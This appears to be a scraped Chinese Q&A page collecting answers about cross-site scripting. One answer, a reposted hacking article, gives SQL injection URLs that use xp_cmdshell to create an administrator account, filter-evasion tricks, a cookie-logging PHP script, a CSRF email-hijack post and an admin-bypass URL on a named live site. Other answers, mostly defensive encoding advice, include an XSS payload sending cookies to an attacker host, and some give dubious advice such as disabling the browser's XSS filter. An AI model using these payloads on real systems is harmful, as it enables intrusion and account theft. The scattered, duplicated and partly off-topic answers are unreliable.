跨站點腳本編制解決
❶ 360檢測到Discuz! X2.5提示Flash配置不當漏洞,該怎樣解決
360的軟體都是虛張聲勢,忽悠小白的。而且,用360打補丁很危險。這就是為什麼它還出一個防藍屏的補丁了,其實微軟根本就沒有什麼防藍屏的補丁
另外。360存在嚴重泄漏和收集用戶隱私行為,屬破壞性創新唯我獨尊之氣勢。網路搜「360黑匣子」便了解一切情況。建議棄用360.您可以使用金山毒霸以及其它安全產品。。。真愛隱私,遠離360
❷ 網頁打不開,Internet Explorer 如何幫助保護我免受跨站點腳本攻擊
升級一下瀏覽器。
不行就------------------
清理一下磁碟碎片和系統垃圾。
不行就----------------
請不要盜用我的答案!!
一號方案(新X)
注意(原創):
1.安全模式下,效果更好!
2. 以下所要使用的軟體,都要安裝或升級到最新版本,以保證使用的效果。
3. 不殺毒,直接使用以下方法也可以 。若效果不好,就先在安全模式下用優質殺毒軟體(如:卡巴斯基)殺一下,360安全衛士最好也用一下,之後,再用以下方法。
(用360安全衛士的「殺木馬」----「全盤掃描」。殺完重啟。)
以下方法,不一定都要用,可以一個一個去試。有時,僅第一個就管用了。
一. 關閉瀏覽器,打開新版本360安全衛士的「系統修復」,掃描後,再點「一鍵修復」 。
再用360急救箱(360安全衛士的「功能大全」里有。若未安裝360安全衛士,也可單另安裝急救箱。)【按步驟操作:先「開始急救」;掃描完後,重啟;再點「系統修復」 (可以全選)――「立即修復」。 接著,點「DLL文件恢復」,添加系統檢測時所得知丟失的DLL文件,再點「立即修復』。「修復網路」視情況而決定是否修復。完後,應重啟。】
二.用360安全衛士的「清理插件」進行掃描,掃除惡意插件後,進行清理。完後應重啟。
三.用windows清理助手(從網上下載)。掃描後(若掃出東西,都勾並清理),再用故障修復(全選),然後在桌面點滑鼠右鍵刷新。安全模式下效果好。
也可考慮用金山急救箱【勾上「擴展掃描」,點掃描後,如果出現可以修復的項目,全選後,點「立即處理」,完後重啟。】
也可下個IE修復專家 5.21,或雅虎ie修復專家(也有人用黃山修復專家)。,
用完後,你再試試:點網頁上面的 工具->Internet選項->把主頁改成你想要的。
也可:
1. 下載一個金山網盾。(網路里搜索『金山網盾』第一個下載就是最新版本)
2. 安裝後,點一鍵修復。掃出東西後,點立即處理。
強調------1.修復中,殺軟或360有提示時,請點允許。操作中如提示重啟就重啟下電腦。2.效果不好時,看「注意」中的三點。 3. 完後,效果不好的話,也可考慮系統還原一下(選好還原點)。
祝你成功 !
❸ 如何解決跨站腳本攻擊
登陸protal後,點擊查看報表,這是protal會發送轉到cognos的請求,如果使用的IE8,則這個請求會被攔截,提示「Internet Explorer 已對此頁面進行了修改,以幫助阻止跨站腳本。單擊此處,獲取詳細信息」。這個錯誤是由於 IE8 的跨站腳本(Cross-site scripting, XSS)防護阻止了跨站發送的請求。請按以下步驟操作:
1. 點擊 IE8 的「工具」-「Internet 選項」,
2. 進入「安全」選項卡,打開「Internet」下方的「自定義級別」,
3.在「安全設置」對話框中找到「啟用 XSS 篩選器」,改為「禁用」即可。
❹ 請問如何解決跨站問題
最近腳本攻擊好象是很流行的,不過早在很久前就有這個了!腳本攻擊嚴格的說應該是一件藝術而不是漏洞!首先我們先要知道什麼是腳本,腳本就是運行在網頁伺服器上的文本程序,例如:ASP、php、CGI、JSP、ISAP等等,腳本的攻擊就是利用這些文件的設置和編寫時的錯誤或者疏忽不當,攻擊者就可以利用這些來達到自己攻擊目的,如果一個伺服器存在這些漏洞,那麼它的淪陷也是時間的問題!
這些文本文件一般都是要結合資料庫來使用的,這些資料庫有ACCESS、MSsql、MYSQL、Oracle等!腳本攻擊就是針對這些資料庫來配合腳本對一些變數的過濾不嚴的問題來達到得到用戶密碼等敏感信息,修改資料庫等目的!下面我就針對這些來分別舉例說明!
一、跨站腳本的攻擊
腳本的跨站(CSS/XSS)就是利用程序對用戶提交的變數不嚴,大多數是利用多媒體標簽,前段時間比較流行的flash跨站就是利用的這個,比如我在[FLASH=450,350][/FLASH]之間插入一個我自己作好的一個swf文件,swf文件里我們用geturl里加上javascript:window.open('http://qfaq.yeah.net'就可以讓他打開清風安全網的網站,如果這里是一個木馬網頁,呵呵,,,你就等著中木馬吧!還有就是竊取用戶的cookie,例如我們利用也就是圖片的跨站,在這個裡面插入
這段地址即可得到!如果將javascript過濾掉後怎麼辦?
好,我們在看看下面這段代碼:
[upload=swf]uploadImages/200310812145390577.swf?">[/upload]
怎麼樣,還是能將你的信息得到的,而且還不會彈出對話框!
另外在joekoe論壇程序里還有一個這樣的問題,比如你發個帖子里有[DIR][/DIR]就會彈出一個播放器的安裝程序,呵呵,如果是一個黑心的站長利用這個來放馬,那後果就不用說了吧!
解決辦法:現在還沒有好的方法解決這個問題,你要做的就是將多媒體的標簽刪掉!
另附ASP和PHP的跨站代碼
php如下
$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("test.txt","a";
fwrite($fp,$info."n";
fclose($fp);
}
?>
asp如下
二、sql injection
是現在最熱門的,也是本文要重點說的!
1、ASP+ACCESS資料庫類型的SQL注射
現在的大多數網站是採用的這個組合,但是如果在ASP程序中沒有對用戶提交的變數充分過濾的話就可能導致管理員密碼被猜到,整個網站的信息就會暴漏無移~!
在大多數ASP站點中,我們並不知道其程序代碼,靠任何掃描器也不可能發現SQL injection漏洞,這時就要靠手工檢測了,由於我們執行SQL語句要用到單引號、分號、逗號、冒號和「--」,所以我們就在可修改的URL後加上以上符號,或在表單中的文本框加上這些符號!比如比較經典的金梅系統漏洞,在movie.aps中有怎麼一段代碼:
articleid=request("id"
set rs=server.createobject("adodb.recordset"
sql="update learning set hits=hits+1 where articleID="&articleid
--------------------------------------------------------------------------------
2 [轉帖]腳本安全和利用
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1
articleid未經任何檢查便提交了,所以我們就可以自己構造一些SQL語句來提交上去!具體的利用過程請看拙作《SQL注入完整篇》和《SQL注入的補充》的動畫教程,這里我就不在重復的說了!
2、ASP+MYSQL資料庫類型的利用
MYSQL資料庫簡單使用和強大的功能一直以來都是網管們的最愛!但是如果是ASP中沒有對變數過濾的話,我們就可以來直接的到他的系統管理員許可權!
比如動網論壇、BBSXP論壇的SQL版有好幾個文件都沒有對ID過濾,所以我們只要找到他的存在問題的頁面就可以了,
看這段代碼:rs.open "select * from news where newsid=" & cstr(request("newsid"),conn,1,1
比如我們提交:
http://XXX/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user xuehan ilovexuehan /add';--
http://XXX/show.asp?id=1;exec master.dbo.xp_cmdshell 'net localgroup administrators xuehan /add';--
看到了嗎?我們已經在系統中田加了一個xuehan 密碼是ilovexuehan的管理員帳號,以下的事情你就自己來做吧,呵呵,,,不用我來教了吧!!!
如果過濾了分號和單引號怎麼辦?呵呵,我們只要將我們的命令形式轉換一下,比如我們轉換成十六進制或者別的形式就可以繼續注入了,還有就是他如果過濾了xp_cmdshell 我們也可以解決,我們可以寫成xp'+'_cmd'+'shell形式,如果他將xp_cmdshell 擴展刪掉,我們可以通過xplog70.dll文件來恢復,呵呵,,,具體自己查找下資料庫的知識,當然我們也可以用別的擴展!所以說SQL injection不僅僅是一門技術,更要有靈活的頭腦和扎實的資料庫知識,特別是對SQL語言的掌握程度,如果不會SQL語言,你永遠都是生搬硬套,遇到障礙就過不去了!
3、PHP+MYSQL資料庫類型
PHP+MYSQL一直以來都認為是最安全的組合,不過一些文件沒有過濾單引號、反斜線等,我們也可以來進行注入,不過在最新的php安裝程序里的php.ini文件默認都是對這些過濾掉的,所以很大情況下我們是無法對進行注入的,不過也有許多牛人們可以饒過這個限制的!由於我的PHP和MYSQL不是太懂,所以就不能來具體舉例來說明了,大家要是有興趣可以去找寫資料來看!!!
需要從根本上解決解決SQL Injection問題。還得從程序本身入手。過濾不能單純的過濾URL所提交的參數,在表單里的也要過濾,value=後面的可以修改的數據,修改後可以提交到伺服器,總之對所有的表單提交的數據以及用戶可能對HTML源文件進行修改來控制的所有來自Web伺服器外部的數據進行過濾或轉換,對單引號、雙引號、分號「--」還有對數字鍵上面的所有特殊字元進行過濾,還有QUERY_STRING環境變數。在伺服器上刪除一些危險的擴展存儲過程,比如xp_cmdshell。有條件裝個IDS更好,不敢說無堅不摧,但至少可以阻擋大部分攻擊者。
三、一些別的腳本攻擊
有些程序沒有對cookie或者session進行過濾和檢查,就造成了用戶可以非法修改提交頁面,自己提交修改數據,比如像海陽頂端網木馬的以前版本對session沒有過濾,我們就可以饒過密碼的驗證來到達真正的頁面,還有就是post提交的問題,像leadbbs的2.77版本就是沒有充分的過濾,我們就可以把管理員的密碼修改成自己的密碼!
還有一個腳本的攻擊例子,在Discuz! 2.0 論壇里,因為個人屬性缺乏必要的安全確認,所以很容易誘使其他會員自動修改其個人屬性內容,特別是注冊郵件信息,這關系著登陸密碼的修改。
比如我們發個帖子,寫上
誘使會員點擊這個頁面後,就會自動修改該會員注冊的email地址為crack.x.h2163.com。當然為了隱蔽性,可以更新後自動關閉,然後調用另外一個假地址。
當然我們也可以利用這個漏洞進行欺騙、隱藏來誘惑管理員來修改我們為管理員等等!大家自己去學習吧!
看了這么多枯燥的東西下面我們再來看看另外一個好玩的漏洞,在百渡里搜索」傳奇留言薄「找幾個免費的留言本進去,找到他的登陸頁面,我找到的一個是:
http://www.conanshome.com/guestbook/login.asp
我們再來看看下面這個連接:
http://www.conanshome.com/guestbook/admin.asp?adminid=admin
哈,怎麼我們就闖入後台了!!!
什麼原因,自己去琢磨吧!
後記:腳本的攻擊可以說是防不勝防的,我們所要做的只能是提高編寫程序的嚴謹態度,人為的因素在腳本攻擊中是最重要的!
聲明:本文提到的漏洞都有一定的攻擊性,我們的目的是探討技術,搞破壞的是小人!所造成的一切後果於作者無關!由於作者水平有限,文中難免有錯誤之處,歡迎指出!
❺ 如何防止跨站點腳本攻擊
跨站點腳本的主要原因是程序猿對用戶的信任。開發人員輕松地認為用戶永遠不會試圖執行什麼出格的事情,所以他們創建應用程序,卻沒有使用任何額外的代碼來過濾用戶輸入以阻止任何惡意活動。另一個原因是,這種攻擊有許多變體,用製造出一種行之有效的XSS過濾器是一件比較困難的事情。
但是這只是相對的,對用戶輸入數據的」編碼」和」過濾」在任何時候都是很重要的,我們必須採取一些針對性的手段對其進行防禦。
6. 如何創造一個良好的XSS過濾器來阻止大多數XSS攻擊代碼
6.1 需要重點」編碼」和」過濾」的對象
The URL
HTTP referrer objects
GET parameters from a form
POST parameters from a form
Window.location
Document.referrer
document.location
document.URL
document.URLUnencoded
cookie data
headers data
database data
防禦XSS有一個原則:
以當前的應用系統為中心,所有的進入應用系統的數據都看成是輸入數據(包括從FORM表單或者從資料庫獲取到的數據),所有從當前應用系統流出的數據都看作是輸出(包括輸出到用戶瀏覽器或向資料庫寫入數據)
對輸入的數據進行」過濾」,對輸出數據進行」編碼」。這里的」編碼」也要注意,必須針對數據具體的上下文語境進行針對性的編碼。例如數據是輸出到HTML中的那就要進行HtmlEncode,如果數據是輸出到javascript代碼中進行拼接的,那就要進行javascriptEncode。
如果不搞清楚數據具體輸出的語境,就有可能因為HtmlParser()和javascriptParser()兩種解析引擎的執行先後問題導致看似嚴密的」編碼」形同虛設。
6.2 HtmlEncode HTML編碼
它的作用是將字元轉換成HTMLEntities,對應的標準是ISO-8859-1
為了對抗XSS,在HtmlEncode中要求至少轉換以下字元:
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
在PHP中:
htmlentities
http://www.w3school.com.cn/php/func_string_htmlentities.asp
htmlspecialchars
http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
6.3 javascriptEncode javascript」編碼」
javascriptEncode與HtmlEncode的編碼方法不同,HtmlEncode是去編碼,而javascriptEncode更多的像轉義,它需要使用」」對特殊字元進行轉義。從原理上來講,這都符合編碼函數的一個大原則: 將數據和代碼區分開,因為對於HTML Tag來說,我們對其進行」可視化(轉換成可以見字元)」的編碼可以將數據和HTML的界限分開。而對於javascript來說,我們除了要進行編碼之外,還需要對特殊字元進行轉義,這樣攻擊輸入的用於」閉合」的特殊字元就無法發揮作用,從而避免XSS攻擊,除此之外,在對抗XSS時,還要求輸出的變數必須在引號內部,以避免造成安全問題。
escape()
該方法不會對 ASCII 字母和數字進行編碼,也不會對下面這些 ASCII 標點符號進行編碼: * @ – _ + . / 。其他所有的字元都會被轉義序列(十六進制xHH)替換。
利用這個編碼函數,不僅能防禦XSS攻擊,還可以防禦一些command注入。
7. 一些開源的防禦XSS攻擊的代碼庫
❻ 如何防止跨站點腳本攻擊
防止跨站點腳本攻擊的解決方法:
1.輸入過濾
對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2.輸出過濾
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->
<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>
<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>
<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3.安裝三方的應用防火牆,可以攔截css攻擊。
附:
跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。
跨站腳本包含三個部分:攻擊者,客戶和web站點。
跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。
攻擊
一個get請求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
會產生如下的結果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果請求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就會得到如下的響應
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script>
響應如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。
❼ 如何防護web 網站一些安全問題,例如 跨站點請求偽造,跨站點腳本編制之類的.
定義一個常量,然後再驗證。
❽ dwr跨站點腳本編制漏洞怎麼改
您好,您可以查找漏洞存在的文件,然後查看具體哪句代碼或者哪裡結構不合適,然後針對修改即可,如果修改不了,我免費幫您修改
❾ 如何防止跨站點腳本攻擊
防止跨站點腳本攻擊的解決方法: 1.輸入過濾 對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。 final String filterPattern="[<>{}\\[\\];\\&]"; String inputStr = s.replaceAll(filterPattern," "); 2.輸出過濾 public static String encode(String data) { final StringBuffer buf = new StringBuffer(); final char[] chars = data.toCharArray(); for (int i = 0; i < chars.length; i++) { buf.append("" + (int) chars[i]); } return buf.toString(); } public static String decodeHex(final String data, final String charEncoding) { if (data == null) { return null; } byte[] inBytes = null; try { inBytes = data.getBytes(charEncoding); } catch (UnsupportedEncodingException e) { //use default charset inBytes = data.getBytes(); } byte[] outBytes = new byte[inBytes.length]; int b1; int b2; int j=0; for (int i = 0; i < inBytes.length; i++) { if (inBytes[i] == '%') { b1 = Character.digit((char) inBytes[++i], 16); b2 = Character.digit((char) inBytes[++i], 16); outBytes[j++] = (byte) (((b1 & 0xf) << 4) + (b2 & 0xf)); } else { outBytes[j++] = inBytes[i]; } } String encodedStr = null; try { encodedStr = new String(outBytes, 0, j, charEncoding); } catch (UnsupportedEncodingException e) { encodedStr = new String(outBytes, 0, j); } return encodedStr; } <!-- Maps the 404 Not Found response code to the error page /errPage404 --> <error-page> <error-code>404</error-code> <location>/errPage404</location> </error-page> <!-- Maps any thrown ServletExceptions to the error page /errPageServ --> <error-page> <exception-type>javax.servlet.ServletException</exception-type> <location>/errPageServ</location> </error-page> <!-- Maps any other thrown exceptions to a generic error page /errPageGeneric --> <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/errPageGeneric</location> </error-page> 任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。 Throwable throwable = (Throwable) request.getAttribute("javax.servlet.error.exception"); String status_code = ((Integer) request.getAttribute("javax.servlet.error.status_code")).toString( ); 3.安裝三方的應用防火牆,可以攔截css攻擊。 附: 跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。 跨站腳本包含三個部分:攻擊者,客戶和web站點。 跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。 攻擊 一個get請求 GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: www.vulnerable.site 會產生如下的結果 <HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML> 但是如果請求被篡改 GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site 就會得到如下的響應 <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML> 這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。 http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script> 響應如下: <HTML> <Title>Welcome!</Title> Hi <script>window.open(「www.attacker.site/collect.cgi?cookie=」+document.cookie)</script> <BR> Welcome to our system ... </HTML> 瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。